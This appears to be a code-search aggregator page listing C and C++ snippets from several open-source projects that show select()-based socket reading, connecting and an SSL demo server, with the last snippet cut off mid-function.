示例#1
0
int receive_tcp(char *bind_ip, char *bind_port)
{
	int sock, cli_sock;
	char *buf;
	struct sockaddr_in remote, local;
	int ret = -1;
	int select_return;
	
	fd_set read_set, err_set;
	struct timeval timeout;
	
	buf = (char *) malloc(255);
	memset(buf, '\0', 255);
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("Socket error:");
		return(-1);
	}

	local.sin_family = AF_INET;
	local.sin_port = htons(atoi(bind_port));
	inet_aton(bind_ip, &local.sin_addr);

	if (bind(sock, (struct sockaddr *) &local, sizeof(local)) < 0)
	{
		perror("Could not bind.");
		return (-1);
	}

	if (listen(sock, 5) == -1)
	{
		perror("Could not listen: ");
		return(-1);
	}

	FD_ZERO(&read_set);
	FD_SET(sock, &read_set);
	FD_ZERO(&err_set);
	FD_SET(sock, &err_set);
	timeout.tv_sec = 10;
	timeout.tv_usec = 0;

	select_return = select(sock + 1, &read_set, NULL, &err_set, &timeout);
	if (select_return < 0)
	{
		perror("Select failed: ");
		ret = -1;
	}

	if ((select_return > 0) && (FD_ISSET(sock, &read_set)) && (!FD_ISSET(sock, &err_set)))
	{
		if ((cli_sock = accept(sock, NULL, NULL)) < 0)
		{
			perror("Accept failed: ");
			ret = -1;
		}
		else
		{
                	if (recv(cli_sock, buf, 255, 0) >= 1)
                	{
                       	 	printf("MESSAGE: %s\n", buf);
                        	ret = 0;
                	}
			else
			{
				perror("recv failure: ");
				ret = -1;
			}
		}
	}
	else
	{
		perror("There were select failures: ");
		ret = -1;
	}
	free(buf);
	return(ret);
}
示例#2
0
int receive_udp(char *bind_ip, char *bind_port)
{

	int sock;
	char *buf;
	struct sockaddr_in remote, local;
	int ret = -1;
	int select_return;

	fd_set read_set, err_set;
	struct timeval timeout;

	buf = (char *) malloc(255);
	memset(buf, '\0', 255);	
	if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	{
		perror("Socket error: ");
		return(-1);
	}

	local.sin_family  = AF_INET;
	local.sin_port = htons(atoi(bind_port));
	inet_aton(bind_ip, &local.sin_addr);

	if (bind(sock, (struct sockaddr *) &local, sizeof(local)) < 0)
	{
		perror("Bind error: ");
		return(-1);
	}

	FD_ZERO(&read_set);
	FD_SET(sock, &read_set);
	FD_ZERO(&err_set);
	FD_SET(sock, &err_set);
	timeout.tv_sec = 10;
	timeout.tv_usec = 0;

	select_return = select(sock + 1, &read_set, NULL, &err_set, &timeout);
	if (select_return < 0)
	{
		perror("Select error: ");
		ret = -1;
	}

	 

 	if ((select_return > 0) && (FD_ISSET(sock, &read_set)) && (!FD_ISSET(sock, &err_set)))
	{

		if (recvfrom(sock, buf, 255, 0, (struct sockaddr *)0, (int *)0) >= 1)
		{
			printf("MESSAGE: %s\n", buf);
			ret = 0;
		}
		else
		{
			printf("recvfrom failed\n");
			ret = -1;
		}
	}
	free(buf);
	return(ret);

}
示例#3
0
/*
 * Start a process and return its status information.  The status information
 * is also stored in the global processes linked list so that it can be
 * stopped automatically on program exit.
 *
 * The boolean argument says whether to start the process under fakeroot.  If
 * true, PATH_FAKEROOT must be defined, generally by Autoconf.  If it's not
 * found, call skip_all.
 *
 * This is a helper function for process_start and process_start_fakeroot.
 */
static struct process *
process_start_internal(const char *const argv[], const char *pidfile,
                       bool fakeroot)
{
    size_t i;
    int log_fd;
    const char *name;
    struct timeval tv;
    struct process *process;
    const char **fakeroot_argv = NULL;
    const char *path_fakeroot = PATH_FAKEROOT;

    /* Check prerequisites. */
    if (fakeroot && path_fakeroot[0] == '\0')
        skip_all("fakeroot not found");

    /* Create the process struct and log file. */
    process = bcalloc(1, sizeof(struct process));
    process->pidfile = bstrdup(pidfile);
    process->tmpdir = test_tmpdir();
    name = strrchr(argv[0], '/');
    if (name != NULL)
        name++;
    else
        name = argv[0];
    basprintf(&process->logfile, "%s/%s.log.XXXXXX", process->tmpdir, name);
    log_fd = mkstemp(process->logfile);
    if (log_fd < 0)
        sysbail("cannot create log file for %s", argv[0]);

    /* If using fakeroot, rewrite argv accordingly. */
    if (fakeroot) {
        for (i = 0; argv[i] != NULL; i++)
            ;
        fakeroot_argv = bcalloc(2 + i + 1, sizeof(const char *));
        fakeroot_argv[0] = path_fakeroot;
        fakeroot_argv[1] = "--";
        for (i = 0; argv[i] != NULL; i++)
            fakeroot_argv[i + 2] = argv[i];
        fakeroot_argv[i + 2] = NULL;
        argv = fakeroot_argv;
    }

    /*
     * Fork off the child process, redirect its standard output and standard
     * error to the log file, and then exec the program.
     */
    process->pid = fork();
    if (process->pid < 0)
        sysbail("fork failed");
    else if (process->pid == 0) {
        if (dup2(log_fd, STDOUT_FILENO) < 0)
            sysbail("cannot redirect standard output");
        if (dup2(log_fd, STDERR_FILENO) < 0)
            sysbail("cannot redirect standard error");
        close(log_fd);
        if (execv(argv[0], (char *const *) argv) < 0)
            sysbail("exec of %s failed", argv[0]);
    }
    close(log_fd);
    free(fakeroot_argv);

    /*
     * In the parent.  Wait for the child to start by watching for the PID
     * file to appear in 100ms intervals.
     */
    for (i = 0; i < PROCESS_WAIT * 10 && access(pidfile, F_OK) != 0; i++) {
        tv.tv_sec = 0;
        tv.tv_usec = 100000;
        select(0, NULL, NULL, NULL, &tv);
    }

    /*
     * If the PID file still hasn't appeared after ten seconds, attempt to
     * kill the process and then bail.
     */
    if (access(pidfile, F_OK) != 0) {
        kill(process->pid, SIGTERM);
        alarm(5);
        waitpid(process->pid, NULL, 0);
        alarm(0);
        bail("cannot start %s", argv[0]);
    }

    /*
     * Read the PID back from the PID file.  This usually isn't necessary for
     * non-forking daemons, but always doing this makes this function general,
     * and it's required when running under fakeroot.
     */
    if (fakeroot)
        process->pid = read_pidfile(pidfile);
    process->is_child = !fakeroot;

    /* Register the log file as a source of diag messages. */
    diag_file_add(process->logfile);

    /*
     * Add the process to our global list and set our cleanup handler if this
     * is the first process we started.
     */
    if (processes == NULL)
        test_cleanup_register(process_stop_all);
    process->next = processes;
    processes = process;

    /* All done. */
    return process;
}
示例#4
0
Connection* ConnectionInit(Connection* connection) {
    ErrorCode code = AIO4C_ERROR_CODE_INITIALIZER;

#ifndef AIO4C_WIN32
    if ((connection->socket = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        code.error = errno;
#else /* AIO4C_WIN32 */
    if ((connection->socket = socket(PF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR) {
        code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_SOCKET_ERROR, &code);
    }

#ifndef AIO4C_WIN32
    if (fcntl(connection->socket, F_SETFL, O_NONBLOCK) == -1) {
        code.error = errno;
#else /* AIO4C_WIN32 */
    unsigned long ioctl = 1;
    if (ioctlsocket(connection->socket, FIONBIO, &ioctl) == SOCKET_ERROR) {
        code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_FCNTL_ERROR, &code);
    }

    ConnectionState(connection, AIO4C_CONNECTION_STATE_INITIALIZED);

    return connection;
}

Connection* ConnectionConnect(Connection* connection) {
    ErrorCode code = AIO4C_ERROR_CODE_INITIALIZER;
    ConnectionState newState = AIO4C_CONNECTION_STATE_CONNECTING;

    if (connection->state != AIO4C_CONNECTION_STATE_INITIALIZED) {
        code.expected = AIO4C_CONNECTION_STATE_INITIALIZED;
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_DEBUG, AIO4C_CONNECTION_STATE_ERROR, &code);
    }

    if (connect(connection->socket, AddressGetAddr(connection->address), AddressGetAddrSize(connection->address)) == -1) {
#ifndef AIO4C_WIN32
        code.error = errno;
        if (errno == EINPROGRESS) {
#else /* AIO4C_WIN32 */
        int error = WSAGetLastError();
        code.source = AIO4C_ERRNO_SOURCE_WSA;
        if (error == WSAEINPROGRESS || error == WSAEALREADY || error == WSAEWOULDBLOCK) {
#endif /* AIO4C_WIN32 */
            newState = AIO4C_CONNECTION_STATE_CONNECTING;
        } else {
            return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_CONNECT_ERROR, &code);
        }
    } else {
        newState = AIO4C_CONNECTION_STATE_CONNECTED;
    }

    ConnectionState(connection, newState);

    return connection;
}

Connection* ConnectionFinishConnect(Connection* connection) {
    ErrorCode code = AIO4C_ERROR_CODE_INITIALIZER;
    int soError = 0;
    socklen_t soSize = sizeof(int);

#ifdef AIO4C_HAVE_POLL
    aio4c_poll_t polls[1] = { { .fd = connection->socket, .events = POLLOUT, .revents = 0 } };

#ifndef AIO4C_WIN32
    if (poll(polls, 1, -1) == -1) {
        code.error = errno;
#else /* AIO4C_WIN32 */
    if (WSAPoll(polls, 1, -1) == SOCKET_ERROR) {
        code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_POLL_ERROR, &code);
    }

    if (polls[0].revents > 0) {
#else /* AIO4C_HAVE_POLL */
    fd_set writeSet;
    fd_set errorSet;

    FD_ZERO(&writeSet);
    FD_ZERO(&errorSet);
    FD_SET(connection->socket, &writeSet);
    FD_SET(connection->socket, &errorSet);

#ifndef AIO4C_WIN32
    if (select(connection->socket + 1, NULL, &writeSet, &errorSet, NULL) == -1) {
        code.error = errno;
#else /* AIO4C_WIN32 */
    if (select(connection->socket + 1, NULL, &writeSet, &errorSet, NULL) == SOCKET_ERROR) {
        code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_SELECT_ERROR, &code);
    }

    if (FD_ISSET(connection->socket, &writeSet) || FD_ISSET(connection->socket, &errorSet)) {
#endif /* AIO4C_HAVE_POLL */

#ifndef AIO4C_WIN32
        if (getsockopt(connection->socket, SOL_SOCKET, SO_ERROR, &soError, &soSize) != 0) {
            code.error = errno;
#else /* AI4OC_WIN32 */
        if (getsockopt(connection->socket, SOL_SOCKET, SO_ERROR, (char*)&soError, &soSize) == SOCKET_ERROR) {
            code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
            return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_GETSOCKOPT_ERROR, &code);
        }

        if (soError != 0) {
#ifndef AIO4C_WIN32
            code.error = soError;
#else /* AIO4C_WIN32 */
            code.source = AIO4C_ERRNO_SOURCE_SOE;
            code.soError = soError;
#endif /* AIO4C_WIN32 */
            return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_FINISH_CONNECT_ERROR, &code);
        }
    }

    return connection;
}

Connection* ConnectionRead(Connection* connection) {
    Buffer* buffer = NULL;
    ssize_t nbRead = 0;
    ErrorCode code = AIO4C_ERROR_CODE_INITIALIZER;
    aio4c_byte_t* data = NULL;

    buffer = connection->readBuffer;

    if (!BufferHasRemaining(buffer)) {
        code.buffer = buffer;
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_BUFFER_OVERFLOW_ERROR, &code);
    }

    data = BufferGetBytes(buffer);
    if ((nbRead = recv(connection->socket, (void*)&data[BufferGetPosition(buffer)], BufferRemaining(buffer), 0)) < 0) {
#ifndef AIO4C_WIN32
        code.error = errno;
#else /* AIO4C_WIN32 */
        code.source = AIO4C_ERRNO_SOURCE_WSA;
#endif /* AIO4C_WIN32 */
        return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_ERROR, AIO4C_READ_ERROR, &code);
    }

    ProbeSize(AIO4C_PROBE_NETWORK_READ_SIZE, nbRead);

    if (nbRead == 0) {
        if (connection->state == AIO4C_CONNECTION_STATE_PENDING_CLOSE) {
            ConnectionState(connection, AIO4C_CONNECTION_STATE_CLOSED);
            return connection;
        } else {
            return _ConnectionHandleError(connection, AIO4C_LOG_LEVEL_INFO, AIO4C_CONNECTION_DISCONNECTED, &code);
        }
    }

    if (!connection->canRead) {
        Log(AIO4C_LOG_LEVEL_WARN, "received data on connection %s when reading is not allowed", connection->string);
        BufferReset(buffer);
        return connection;
    }

    BufferPosition(buffer, BufferGetPosition(buffer) + nbRead);

    _ConnectionEventHandle(connection, AIO4C_INBOUND_DATA_EVENT);

    return connection;
}
示例#5
0
文件: axssl.c 项目: Lembed/uTLS
/**
 * Implement the SSL server logic.
 */
static void do_server(int argc, char *argv[])
{
    int i = 2;
    uint16_t port = 4433;
    uint32_t options = SSL_DISPLAY_CERTS;
    int client_fd;
    SSL_CTX *ssl_ctx;
    int server_fd, res = 0;
    socklen_t client_len;
#ifndef CONFIG_SSL_SKELETON_MODE
    char *private_key_file = NULL;
    const char *password = NULL;
    char **cert;
    int cert_index = 0;
    int cert_size = ssl_get_config(SSL_MAX_CERT_CFG_OFFSET);
#endif
#ifdef WIN32
    char yes = 1;
#else
    int yes = 1;
#endif
    struct sockaddr_in serv_addr;
    struct sockaddr_in client_addr;
    int quiet = 0;
#ifdef CONFIG_SSL_CERT_VERIFICATION
    int ca_cert_index = 0;
    int ca_cert_size = ssl_get_config(SSL_MAX_CA_CERT_CFG_OFFSET);
    char **ca_cert = (char **)calloc(1, sizeof(char *)*ca_cert_size);
#endif
    fd_set read_set;

#ifndef CONFIG_SSL_SKELETON_MODE
    cert = (char **)calloc(1, sizeof(char *)*cert_size);
#endif

    while (i < argc) {
        if (strcmp(argv[i], "-accept") == 0)  {
            if (i >= argc - 1)  {
                print_server_options(argv[i]);
            }

            port = atoi(argv[++i]);
        }
#ifndef CONFIG_SSL_SKELETON_MODE
        else if (strcmp(argv[i], "-cert") == 0) {
            if (i >= argc - 1 || cert_index >= cert_size) {
                print_server_options(argv[i]);
            }

            cert[cert_index++] = argv[++i];
        } else if (strcmp(argv[i], "-key") == 0) {
            if (i >= argc - 1) {
                print_server_options(argv[i]);
            }

            private_key_file = argv[++i];
            options |= SSL_NO_DEFAULT_KEY;
        } else if (strcmp(argv[i], "-pass") == 0) {
            if (i >= argc - 1) {
                print_server_options(argv[i]);
            }

            password = argv[++i];
        }
#endif
        else if (strcmp(argv[i], "-quiet") == 0) {
            quiet = 1;
            options &= ~SSL_DISPLAY_CERTS;
        }
#ifdef CONFIG_SSL_CERT_VERIFICATION
        else if (strcmp(argv[i], "-verify") == 0) {
            options |= SSL_CLIENT_AUTHENTICATION;
        } else if (strcmp(argv[i], "-CAfile") == 0)  {
            if (i >= argc - 1 || ca_cert_index >= ca_cert_size) {
                print_server_options(argv[i]);
            }

            ca_cert[ca_cert_index++] = argv[++i];
        }
#endif
#ifdef CONFIG_SSL_FULL_MODE
        else if (strcmp(argv[i], "-debug") == 0)  {
            options |= SSL_DISPLAY_BYTES;
        } else if (strcmp(argv[i], "-state") == 0) {
            options |= SSL_DISPLAY_STATES;
        } else if (strcmp(argv[i], "-show-rsa") == 0) {
            options |= SSL_DISPLAY_RSA;
        }
#endif
        else  {
            /* don't know what this is */
            print_server_options(argv[i]);
        }

        i++;
    }

    if ((ssl_ctx = ssl_ctx_new(options, SSL_DEFAULT_SVR_SESS)) == NULL)  {
        fprintf(stderr, "Error: Server context is invalid\n");
        exit(1);
    }

#ifndef CONFIG_SSL_SKELETON_MODE
    if (private_key_file)   {
        int obj_type = SSL_OBJ_RSA_KEY;

        /* auto-detect the key type from the file extension */
        if (strstr(private_key_file, ".p8")) {
            obj_type = SSL_OBJ_PKCS8;
        } else if (strstr(private_key_file, ".p12")) {
            obj_type = SSL_OBJ_PKCS12;
        }

        if (ssl_obj_load(ssl_ctx, obj_type, private_key_file, password)) {
            fprintf(stderr, "Error: Private key '%s' is undefined.\n",
                    private_key_file);
            exit(1);
        }
    }

    for (i = 0; i < cert_index; i++)  {
        if (ssl_obj_load(ssl_ctx, SSL_OBJ_X509_CERT, cert[i], NULL)) {
            printf("Certificate '%s' is undefined.\n", cert[i]);
            exit(1);
        }
    }
#endif

#ifdef CONFIG_SSL_CERT_VERIFICATION
    for (i = 0; i < ca_cert_index; i++) {
        if (ssl_obj_load(ssl_ctx, SSL_OBJ_X509_CACERT, ca_cert[i], NULL)) {
            printf("Certificate '%s' is undefined.\n", ca_cert[i]);
            exit(1);
        }
    }

    free(ca_cert);
#endif
#ifndef CONFIG_SSL_SKELETON_MODE
    free(cert);
#endif

    /* Create socket for incoming connections */
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket");
        return;
    }

    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));

    /* Construct local address structure */
    memset(&serv_addr, 0, sizeof(serv_addr));      /* Zero out structure */
    serv_addr.sin_family = AF_INET;                /* Internet address family */
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); /* Any incoming interface */
    serv_addr.sin_port = htons(port);              /* Local port */

    /* Bind to the local address */
    if (bind(server_fd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)    {
        perror("bind");
        exit(1);
    }

    if (listen(server_fd, 5) < 0)    {
        perror("listen");
        exit(1);
    }

    client_len = sizeof(client_addr);

    /*************************************************************************
     * This is where the interesting stuff happens. Up until now we've
     * just been setting up sockets etc. Now we do the SSL handshake.
     *************************************************************************/
    for (;;)    {
        SSL *ssl;
        int reconnected = 0;

        if (!quiet)        {
            printf("ACCEPT\n");
            TTY_FLUSH();
        }

        if ((client_fd = accept(server_fd,
                                (struct sockaddr *)&client_addr, &client_len)) < 0)        {
            break;
        }

        ssl = ssl_server_new(ssl_ctx, client_fd);

        /* now read (and display) whatever the client sends us */
        for (;;)        {
            /* allow parallel reading of client and standard input */
            FD_ZERO(&read_set);
            FD_SET(client_fd, &read_set);

#ifndef WIN32
            /* win32 doesn't like mixing up stdin and sockets */
            if (isatty(STDIN_FILENO)) { /* but only if we are in an active shell */
                FD_SET(STDIN_FILENO, &read_set);
            }

            if ((res = select(client_fd + 1, &read_set, NULL, NULL, NULL)) > 0)  {
                uint8_t buf[1024];

                /* read standard input? */
                if (FD_ISSET(STDIN_FILENO, &read_set))  {
                    if (fgets((char *)buf, sizeof(buf), stdin) == NULL) {
                        res = SSL_ERROR_CONN_LOST;
                    } else {
                        /* small hack to check renegotiation */
                        if (buf[0] == 'r' && (buf[1] == '\n' || buf[1] == '\r')) {
                            res = ssl_renegotiate(ssl);
                        }  else  {
                            /* write our ramblings to the client */
                            res = ssl_write(ssl, buf, strlen((char *)buf) + 1);
                        }
                    }
                } else  /* a socket read */
#endif
                {
                    /* keep reading until we get something interesting */
                    uint8_t *read_buf;

                    if ((res = ssl_read(ssl, &read_buf)) == SSL_OK) {
                        /* are we in the middle of doing a handshake? */
                        if (ssl_handshake_status(ssl) != SSL_OK) {
                            reconnected = 0;
                        } else if (!reconnected) {
                            /* we are connected/reconnected */
                            if (!quiet) {
                                display_session_id(ssl);
                                display_cipher(ssl);
                            }

                            reconnected = 1;
                        }
                    }

                    if (res > SSL_OK) {  /* display our interesting output */
                        int written = 0;
                        while (written < res) {
                            written += write(STDOUT_FILENO, read_buf + written,
                                             res - written);
                        }
                        TTY_FLUSH();
                    } else if (res == SSL_CLOSE_NOTIFY) {
                        printf("shutting down SSL\n");
                        TTY_FLUSH();
                    } else if (res < SSL_OK && !quiet) {
                        ssl_display_error(res);
                    }
                }
#ifndef WIN32
            }
#endif

            if (res < SSL_OK)  {
                if (!quiet)  {
                    printf("CONNECTION CLOSED\n");
                    TTY_FLUSH();
                }

                break;
            }
        }

        /* client was disconnected or the handshake failed. */
        ssl_free(ssl);
        SOCKET_CLOSE(client_fd);
    }

    ssl_ctx_free(ssl_ctx);
}
示例#6
0
/* Receive the HTTP/1.1 response preceded by a call to sendHttpRequest(). Function is called recursively until error or succesfully retreived full or partial document.
returnedWebpageHtml: Pointer to be filled with HTML document.
htmlDocumentSize: Size of the HTML document to be set.
checkDocumentSizeOnly: If true, will only set the document's size and not store the HTML document.
*/
bool HTTPClient::receiveHttpResponse(char* tempReturnedWebpageHtml, int& htmlDocumentSize) const{

	char recvBuffer[RECV_BUFFER_SIZE];
	fd_set rfds;
	struct timeval tv;
	int retval;

	while (true){

		//Clear FD's and add sockets
		FD_ZERO(&rfds);
		FD_SET(sockFd, &rfds);

		//Set timeout
		tv.tv_sec = SELECT_WAIT_SEC;
		tv.tv_usec = SELECT_WAIT_MSEC;

		//Select
		retval = select(sockFd + 1, &rfds, NULL, NULL, &tv);

		if (retval == -1){
			//printf("select() returned with error\n");
			break;
		}
		else{
			if (FD_ISSET(sockFd, &rfds))
			{
				// If maximum length exceeded for webpage
				if ((htmlDocumentSize + 1)>MAXIMUM_WEBPAGE_LENGTH)
					return false;

				int recvSize = recv(sockFd, recvBuffer, sizeof(recvBuffer), 0);
				//printf("recvSize: %d \n", recvSize);

				if (recvSize == 0)
					break;

				strcpy(tempReturnedWebpageHtml + htmlDocumentSize, recvBuffer);
				htmlDocumentSize += recvSize;
			}
			else
			{
				//printf("Select()->Recv() timed out. \n");

				//Connection closed, done receiving document
				if (htmlDocumentSize != 0)
					break;

				//If no document was received and timed out, retry
				if (!receiveHttpResponse(tempReturnedWebpageHtml, htmlDocumentSize))
				{
					throw HTTPClientException("httpRequestWebpage(const char*, int, char**)", "Unable to retreive html document.\n");
				}
				break;
			}
		}
	}

	//If failed to receive anything, else successfully retrieved webpage
	if (htmlDocumentSize == 0)
		return false;

	tempReturnedWebpageHtml[htmlDocumentSize + 1] = '\0';
	return true;
}
示例#7
0
double capacityEstimation_pairs(int tcpsock)
{
	extern int udpsock0;
	char buf[2000];
	int ret1 = 0, ret2 = 0;
	struct timeval t1, t2, tout;
	double gap = 0;
	double cap = -1, mindcap = -1;
	pcapestack pcapack;
	pcapack.header.ptype = P_CAP_ACK;
	pcapack.header.length = 4;
	int ret = 0;

	int niters = 0, nfound = 0;
	double mindelay1 = INT_MAX;
	double mindelay2 = INT_MAX;
	double mindelaysum = INT_MAX;
	double owd1 = 0, owd2 = 0;
	int mindflag1, mindflag2, mindsumflag;

	fd_set readset;
	int maxfd = (udpsock0 > tcpsock) ? udpsock0+1 : tcpsock+1;

	while(1)
	{
		niters++;
		mindflag1 = mindflag2 = mindsumflag = 0;
		cap = ret1 = ret2 = -1;

		FD_ZERO(&readset);
		FD_SET(udpsock0, &readset);
		tout.tv_sec = 1; tout.tv_usec = 0;
		ret = select(maxfd, &readset, NULL, NULL, &tout);
		if(ret < 0)
		{
			fprintf(stderr, "select error\n");
			return -1;
		}
		else if(ret == 0)
		{
			goto noudp;
		}
		if(FD_ISSET(udpsock0, &readset))
		{
			ret1 = recv(udpsock0, buf, 2000, 0);
			if(ret1 == -1)
			{
				fprintf(stderr, "recv error on UDP\n");
				return -1;
			}
#ifndef OSX
			if (ioctl(udpsock0, SIOCGSTAMP, &t1) < 0)
			{
				perror("ioctl-SIOCGSTAMP");
				gettimeofday(&t1,NULL);
			}
#else
			gettimeofday(&t1, NULL);
#endif
			owd1 = fabs(-1e3*(*(double *)buf - (t1.tv_sec + t1.tv_usec/1.0e6)));
			mindflag1 = (mindelay1 > owd1) ? 1 : 0;
			mindelay1 = (mindelay1 > owd1) ? owd1 : mindelay1;
		}

		FD_ZERO(&readset);
		FD_SET(udpsock0, &readset);
		tout.tv_sec = 10; tout.tv_usec = 0;
		ret = select(maxfd, &readset, NULL, NULL, &tout);
		if(ret < 0)
		{
			fprintf(stderr, "select error\n");
			return -1;
		}
		else if(ret == 0)
		{
			goto noudp;
		}
		if(FD_ISSET(udpsock0, &readset))
		{
			ret2 = recv(udpsock0, buf, 2000, 0);
			if(ret2 == -1)
			{
				fprintf(stderr, "recv error on UDP\n");
				return -1;
			}
#ifndef OSX
			if (ioctl(udpsock0, SIOCGSTAMP, &t2) < 0)
			{
				perror("ioctl-SIOCGSTAMP");
				gettimeofday(&t2,NULL);
			}
#else
			gettimeofday(&t2,NULL);
#endif
			owd2 = fabs(-1e3*(*(double *)buf - (t2.tv_sec + t2.tv_usec/1.0e6)));
			mindflag2 = (mindelay2 > owd2) ? 1 : 0;
			mindelay2 = (mindelay2 > owd2) ? owd2 : mindelay2;
		}

		if(ret1 != ret2 || ret1 == -1 || ret2 == -1)
		{
			fprintf(stderr, "sizes %d %d not same OR timeout\n", ret1, ret2);
		}
		else
		{
			//mindsumflag = (mindelaysum > owd1+owd2) ? 1 : 0;
			mindelaysum = (mindelaysum > owd1+owd2) ? owd1+owd2 : mindelaysum;
			mindsumflag = (fabs(owd1+owd2 - (mindelay1+mindelay2)) < 
					0.01/*0.01*(owd1+owd2)*/) ? 1 : 0; //TODO

			gap = timeval_diff(t2, t1); //s
			cap = 1.0e-3*ret1*8.0/gap; //Kbps
			if(mindsumflag) { mindcap = cap; printf("FOUND!\n"); nfound++; }
			printf("cap: %.2f Kbps d1:%f d2:%f sum:%f diff:%f\n", cap, owd1, 
					owd2, mindelaysum,fabs(owd1+owd2 - (mindelay1+mindelay2)));
		}

noudp:
		pcapack.capacity = htonl(cap);
		pcapack.finalflag = 0;
		if(niters % 100 == 0 && nfound > 1) { 
			pcapack.finalflag = htonl(1);
			pcapack.capacity = htonl(mindcap); 
		}
		ret = writewrapper(tcpsock, (char *)&pcapack, 
				sizeof(struct _capestack));
		if(ret == -1)
		{
			fprintf(stderr, "SERV: error writing to client: %d\n", tcpsock);
			close(tcpsock);
			return -1;
		}
		pcapack.finalflag = ntonl(pcapack.finalflag);
		if(pcapack.finalflag == 1) break;
		if(niters > 1000) break;
	}

	return mindcap;
}
示例#8
0
文件: dgram.c 项目: TonyChiang/amanda
ssize_t
dgram_recv(
    dgram_t *		dgram,
    int			timeout,
    sockaddr_union *fromaddr)
{
    SELECT_ARG_TYPE ready;
    struct timeval to;
    ssize_t size;
    int sock;
    socklen_t_equiv addrlen;
    ssize_t nfound;
    int save_errno;

    sock = dgram->socket;

    FD_ZERO(&ready);
    FD_SET(sock, &ready);
    to.tv_sec = timeout;
    to.tv_usec = 0;

    dbprintf(_("dgram_recv(dgram=%p, timeout=%u, fromaddr=%p)\n"),
		dgram, timeout, fromaddr);
    
    nfound = (ssize_t)select(sock+1, &ready, NULL, NULL, &to);
    if(nfound <= 0 || !FD_ISSET(sock, &ready)) {
	save_errno = errno;
	if(nfound < 0) {
	    dbprintf(_("dgram_recv: select() failed: %s\n"), strerror(save_errno));
	} else if(nfound == 0) {
	    dbprintf(plural(_("dgram_recv: timeout after %d second\n"),
			    _("dgram_recv: timeout after %d seconds\n"),
			    timeout),
		     timeout);
	    nfound = 0;
	} else if (!FD_ISSET(sock, &ready)) {
	    int i;

	    for(i = 0; i < sock + 1; i++) {
		if(FD_ISSET(i, &ready)) {
		    dbprintf(_("dgram_recv: got fd %d instead of %d\n"), i, sock);
		}
	    }
	    save_errno = EBADF;
	    nfound = -1;
	}
	errno = save_errno;
	return nfound;
    }

    addrlen = (socklen_t_equiv)sizeof(sockaddr_union);
    size = recvfrom(sock, dgram->data, (size_t)MAX_DGRAM, 0,
		    (struct sockaddr *)fromaddr, &addrlen);
    if(size == -1) {
	save_errno = errno;
	dbprintf(_("dgram_recv: recvfrom() failed: %s\n"), strerror(save_errno));
	errno = save_errno;
	return -1;
    }
    dump_sockaddr(fromaddr);
    dgram->len = (size_t)size;
    dgram->data[size] = '\0';
    dgram->cur = dgram->data;
    return size;
}
示例#9
0
static SOCKET
xmlNanoHTTPConnectAttempt(struct sockaddr *addr)
{
#ifndef HAVE_POLL_H
    fd_set wfd;
#ifdef _WINSOCKAPI_
    fd_set xfd;
#endif
    struct timeval tv;
#else /* !HAVE_POLL_H */
    struct pollfd p;
#endif /* !HAVE_POLL_H */
    int status;

    int addrlen;

    SOCKET s;

#ifdef SUPPORT_IP6
    if (addr->sa_family == AF_INET6) {
        s = socket(PF_INET6, SOCK_STREAM, IPPROTO_TCP);
        addrlen = sizeof(struct sockaddr_in6);
    } else
#endif
    {
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        addrlen = sizeof(struct sockaddr_in);
    }
    if (s == INVALID_SOCKET) {
#ifdef DEBUG_HTTP
        perror("socket");
#endif
        __xmlIOErr(XML_FROM_HTTP, 0, "socket failed\n");
        return INVALID_SOCKET;
    }
#ifdef _WINSOCKAPI_
    {
        u_long one = 1;

        status = ioctlsocket(s, FIONBIO, &one) == SOCKET_ERROR ? -1 : 0;
    }
#else /* _WINSOCKAPI_ */
#if defined(VMS)
    {
        int enable = 1;

        status = ioctl(s, FIONBIO, &enable);
    }
#else /* VMS */
#if defined(__BEOS__) && !defined(__HAIKU__)
    {
        bool noblock = true;

        status =
            setsockopt(s, SOL_SOCKET, SO_NONBLOCK, &noblock,
                       sizeof(noblock));
    }
#else /* __BEOS__ */
    if ((status = fcntl(s, F_GETFL, 0)) != -1) {
#ifdef O_NONBLOCK
        status |= O_NONBLOCK;
#else /* O_NONBLOCK */
#ifdef F_NDELAY
        status |= F_NDELAY;
#endif /* F_NDELAY */
#endif /* !O_NONBLOCK */
        status = fcntl(s, F_SETFL, status);
    }
    if (status < 0) {
#ifdef DEBUG_HTTP
        perror("nonblocking");
#endif
        __xmlIOErr(XML_FROM_HTTP, 0, "error setting non-blocking IO\n");
        closesocket(s);
        return INVALID_SOCKET;
    }
#endif /* !__BEOS__ */
#endif /* !VMS */
#endif /* !_WINSOCKAPI_ */

    if (connect(s, addr, addrlen) == -1) {
        switch (socket_errno()) {
            case EINPROGRESS:
            case EWOULDBLOCK:
                break;
            default:
                __xmlIOErr(XML_FROM_HTTP, 0,
                           "error connecting to HTTP server");
                closesocket(s);
                return INVALID_SOCKET;
        }
    }
#ifndef HAVE_POLL_H
    tv.tv_sec = timeout;
    tv.tv_usec = 0;

